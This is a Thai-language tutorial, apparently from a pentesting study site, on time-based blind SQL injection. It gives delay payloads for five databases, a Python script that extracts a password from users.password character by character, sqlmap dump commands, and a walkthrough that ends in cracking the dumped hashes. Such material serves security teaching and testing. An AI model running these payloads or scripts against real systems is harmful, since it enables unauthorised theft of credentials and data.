Time-based SQLi
Time-based SQLi เป็น blind แบบหนึ่งที่อนุมานข้อมูลจากเวลาตอบสนอง ใช้เมื่อไม่มีทั้ง output และความต่างของ response ใดๆ — เหลือแค่ 'เวลา' เป็นช่องทางเดียว เมื่อเงื่อนไขจริง สั่งให้ DB หน่วงเวลา แล้ววัดว่า response ช้าลงถึงเกณฑ์ไหม เป็นเทคนิคที่ช้าที่สุดแต่ใช้ได้เสมอ บทนี้ครอบคลุมฟังก์ชันหน่วงเวลาตาม DB การจัดการ noise และการเขียนสคริปต์ดึงข้อมูล
1. หลักการ
เมื่อ response เหมือนกันหมด — ไม่มี error, ไม่มีข้อมูลสะท้อน, หน้าเพจไม่ต่างเลยไม่ว่าเงื่อนไขจริงหรือเท็จ — เหลือช่องทางเดียวคือ เวลา ผูกเงื่อนไข yes/no เข้ากับฟังก์ชันหน่วงเวลา: ถ้าจริงให้ DB นอน 5 วิ ถ้าเท็จตอบทันที แล้ววัด response time ทีละ request ดึงข้อมูลทีละบิตเหมือน boolean blind แต่อ่านคำตอบจากนาฬิกาแทน
2. ฟังก์ชันหน่วงเวลาตาม DB
| DB | หน่วงเวลา | แบบมีเงื่อนไข |
|---|---|---|
| MySQL | SLEEP(5) | IF(cond,SLEEP(5),0) |
| PostgreSQL | pg_sleep(5) | CASE WHEN cond THEN pg_sleep(5) ELSE pg_sleep(0) END |
| MSSQL | WAITFOR DELAY '0:0:5' | IF(cond) WAITFOR DELAY '0:0:5' |
| Oracle | dbms_pipe.receive_message(('a'),5) | CASE WHEN cond THEN dbms_pipe... END |
| SQLite | (ไม่มี sleep) | heavy query เช่น randomblob / เยอะๆ |
-- MySQL
1' AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>77,SLEEP(3),0)-- -
-- PostgreSQL
1'; SELECT CASE WHEN (ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>77) THEN pg_sleep(3) ELSE pg_sleep(0) END-- -
-- MSSQL
1'; IF (ASCII(SUBSTRING((SELECT TOP 1 password FROM users),1,1))>77) WAITFOR DELAY '0:0:3'-- -
-- Oracle
1' AND 1=(CASE WHEN (ASCII(SUBSTR((SELECT password FROM users WHERE ROWNUM=1),1,1))>77) THEN dbms_pipe.receive_message(('a'),3) ELSE 1 END)-- -
-- MySQL สำรอง เมื่อ SLEEP ถูกกรอง
1' AND IF(cond,(SELECT BENCHMARK(5000000,MD5('x'))),0)-- -3. จัดการ noise และความแม่นยำ
ปัญหาใหญ่สุดของ time-based คือ latency ของเน็ตเวิร์กและโหลดเซิร์ฟเวอร์ที่ทำให้เวลาแกว่ง จน false positive/negative นี่คือแนวทางลด error
- ตั้ง delay ให้มากกว่า latency ปกติชัดเจน (เช่น baseline 0.3 วิ ตั้ง SLEEP 3-5 วิ)
- ใช้เกณฑ์ตัดสิน (threshold) ที่กึ่งกลาง เช่น 'response > 2.5 วิ = true' ไม่ใช่ = 5 พอดี
- ยิงซ้ำ request ที่ก้ำกึ่งแล้วดูค่ากลาง (median) กัน spike
- วัด baseline จาก payload ที่รู้ว่าเท็จก่อน (
SLEEPในเงื่อนไขเท็จ) เทียบกับที่รู้ว่าจริง - หลีกเลี่ยงยิงหลาย thread พร้อมกัน — เวลาจะรบกวนกันเอง (ต่างจาก boolean ที่เร่ง thread ได้)
- ใส่ jitter/delay ระหว่าง request กัน rate-limit ที่ทำให้เวลาผิดเพี้ยน
4. สคริปต์ดึงข้อมูล (Python)
import requests, time
URL = "https://target/item"
SUBQ = "(SELECT password FROM users LIMIT 1)"
DELAY = 3
THRESHOLD = DELAY - 0.7 # เกณฑ์ตัดสิน = จริงถ้าช้ากว่านี้
def is_true(cond):
payload = f"1' AND IF({cond},SLEEP({DELAY}),0)-- -"
t0 = time.time()
requests.get(URL, params={"id": payload})
elapsed = time.time() - t0
if THRESHOLD - 0.4 < elapsed < THRESHOLD + 0.4:
return is_true(cond) # ก้ำกึ่ง → ยิงซ้ำ
return elapsed >= THRESHOLD
def extract(maxlen=40):
out = ""
for pos in range(1, maxlen + 1):
if not is_true(f"ASCII(SUBSTRING({SUBQ},{pos},1))>0"):
break
lo, hi = 32, 126
while lo < hi:
mid = (lo + hi) // 2
if is_true(f"ASCII(SUBSTRING({SUBQ},{pos},1))>{mid}"):
lo = mid + 1
else:
hi = mid
out += chr(lo)
print(f"[{pos}] {out}")
return out
print(extract())sqlmap -r request.txt --technique=T --time-sec=5 --batch --dump
# ปรับ --time-sec ให้สูงขึ้นถ้าเน็ตแกว่ง5. Quick Reference
- ใช้เมื่อ response เหมือนกันหมด — เหลือแค่เวลาเป็นช่องทางเดียว (last resort)
- MySQL
SLEEP, PostgreSQLpg_sleep, MSSQLWAITFOR DELAY, Oracledbms_pipe.receive_message - SLEEP ถูกกรอง → MySQL ใช้
BENCHMARK - ตั้ง delay > latency ชัดเจน, threshold กึ่งกลาง, ยิงซ้ำที่ก้ำกึ่ง
- อย่าเร่ง multi-thread (เวลารบกวนกัน) ต่างจาก boolean blind
- binary search ลด request/ตัวอักษร แต่ยังช้าเพราะรอ delay จริง
- เนื้อหา binary search / boolean เต็มอยู่ในหัวข้อ Blind SQL Injection
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติทุกอย่างเงียบ ไม่มี error ไม่มีอะไรสะท้อนกลับ ไม่มี true/false ต่างกันเลย เหลือทางเดียวคือวัดเวลาตอบกลับ
- 1ทดสอบ baseline: จับเวลา response ปกติก่อน (ไม่ inject อะไร) ทำ 2-3 ครั้งดู latency ปกติ
- 2ยิง ' AND SLEEP(5)-- - แล้วจับเวลาว่า response ช้ากว่าเดิม ~5 วินาทีไหม (curl -w '%{time_total}\n' หรือดู response time ใน Burp)
- 3ถ้าช้าตรงเวลา = ยืนยัน time-based blind แล้ว ลองปรับเป็น IF(condition,SLEEP(5),0) เพื่อทดสอบ true/false ผ่านเวลา
- 4เขียน logic ดึงทีละตัวอักษร: IF(SUBSTRING(@@version,1,1)='5',SLEEP(3),0) วนไล่ทุกตัวอักษร/ทุกค่า ASCII
- 5มือเปล่าช้ามาก ให้เซฟ request เป็น req.txt แล้วรัน sqlmap -r req.txt --batch --technique=T --dump ให้อัตโนมัติ
- 6ถ้า network jitter ทำให้เวลาไม่นิ่ง ลองเพิ่มเวลา SLEEP ให้ต่างชัดขึ้น (เช่น SLEEP(8) แทน SLEEP(2)) กันสับสนกับ latency ปกติ
- 7ถ้า sqlmap ช้ามากเป็นชั่วโมง ลองลด --time-sec หรือเปลี่ยนไปใช้ boolean-based (--technique=B) ถ้ามี signal อื่นให้ใช้
- 8เมื่อ dump ข้อมูลสำเร็จ เอา hash ไป crack ต่อด้วย hashcat หรือ crackstation.net
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| จับเวลา response | curl -w, time | already in Kali | - |
| ดึงข้อมูลอัตโนมัติแบบ time-based | sqlmap (--technique=T) | already in Kali | - |
| ดักจับ/ปรับ request | Burp Suite | - | - |
| เขียน script วัดเวลาเอง | python3 + requests + time | pip install requests | - |
| เรียนรู้ payload time-based เพิ่ม | - | - | portswigger web security academy |
| crack hash ที่ dump ได้ | hashcat / john | already in Kali | crackstation.net |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้